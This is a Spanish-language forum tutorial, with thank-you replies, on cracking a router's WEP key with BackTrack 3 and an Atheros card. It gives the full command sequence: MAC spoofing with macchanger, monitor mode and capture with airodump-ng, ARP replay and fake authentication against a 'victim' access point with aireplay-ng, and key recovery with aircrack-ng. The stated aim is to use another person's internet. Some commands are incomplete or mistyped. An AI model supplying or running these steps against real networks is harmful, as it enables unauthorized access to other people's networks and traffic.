Sacar clave WEP con Backtrack 3+Atheros AR5001

En este pequeño tuto les mostrare como crackear la clave WEP de los Routers!!

En este tuto yo utilizo:
Atheros AR5001 + Wireless Network Adapter (tarjeta de red)




Weno, primero abrimos una shell, y escribimos:

airmon-ng stop ath0


(esto es como para detener la tarjeta de red ath0)

Despues escribimos:

macchanger -m 11:22:33:44:55:66 wifi0


)esto es para cambiar nuesta direccion mac)

Despues ponemos

airmon-ng start wifi0


(esto es para activar nuestra tarjeta en modo monitor)

Para saber que todo ha ido bien ponemos

iwconfig


(en esta pantallita podemos ver que esta en modo monitor y ver que cambiamos la direccion mac)

Despues buscamos las redes que hay al alcance

airodump-ng ath0


Aqui debemos apuntar en una hojita lo siguiente:
BSSID (xx:xx:xx:xx:xx:xx)
CH (en este caso es 5)
ESSID (Nombre de la RED)

ya que tengamos estos datos, apretamos (control+C) y vremos que se detendra la pantalla anterior..

Despues ponemos..

airodump-ng --channel x --write xxx ath0
x= canal, como en el paso anterio el 5 pues quedaria asi (--channel 5)
xxx= nombre, aqui pueden ponel elnombre que quieran, pero acuerdense de lo que ponen, y en mi caso quedaria asi (--write pass)

airodump-ng --channel 5 --write pass ath0 (hasta aqui vamos bien?)


(aqui tendremos una pantallita similar a la anterior)

Ahora abrimos otra shell...
y en ella ponemos:

aireplay-ng -3 -b (mac de la victima) -h (nuestra mac) ath0

y pues quedaria mas o menos asi;

aireplay-ng -3 -b xx:xx:xx:xx:xx:xx -h 11:22:33:44:55:66


(esto es para empezar a capturar datos ARP)

Ahora abrimos otra shell y escribimos:

aireplay-ng -1 0 -e (ESSID) -a (BSSID) -h (nuestra mac) ath0

a mi me quedaria asi:

aireplay-ng -1 0 ESSID -a xx:xx:xx:xx:xx:xx -h 11:22:33:44:55:66 ath0


y veremos que los ARP empiezan a subir de volada....

hasta este paso debemos de tener dos shell's abrietas



Ahora podemos ver que despues de 10 minutos ya tenemos 62160 ARP, con eso es mas que suficiente, ahora a las dos shell's las cancelamos, en cada una apretamos (control+C)



Ya estamos en lo ultimo, ahora abrimos otra shell y escribimos:

aircrack-ng xx-01.cap
xx= el nombre que les dije que se acordaran, en mi caso es (pass)

aircrack-ng pass-01.cap



Como la red que nosotros elegimos es la opcion 1 pues ponemos el 1 y damos enter..



Y liesto ya tenemos la Key Found xx:xx:xx:xx:xx

esa la debemos poner pero son los dos puntos (xxxxxxxxxx)

y listo!!! ya podemos navegar en internet...

Espero que les haya servido.

__________________

Gracias por el aporte, Revisa los enlaces ya que no se ven

__________________

Sacar clave WEP con Backtrack 3+Atheros AR5001

muchas gracias

gracias

exelentisima clase,, maestro... gracias

Excelente manual!! Les explico el problemilla que tengo. Llego hasta el último paso perfectamente, sin ningún tipo de error, pero aqui ni los datos de airodump ni los ARPs del aireplay se incrementan, y claro, no consigo nada con aircrack. He leido de todo en diversos foros, pero no consigo terminar el proceso. Una vez si que conseguí captar datos pero sin saber por que (el proceso lo sigo siempre al pie de la letra).Al pararlo antes de tiempo no consegui nada.. :-(
Le agradecería mucho si pudieran darme alguna solución.Es extraño que una vez me funcionara y ahora ya no vuelva a conseguir nada..
Muchas Gracias.

graxxxx

__________________

MIS APORTES

muchas graciasss

gracisddddddddddddddddddddddddddddddddddddddddssss ssssssss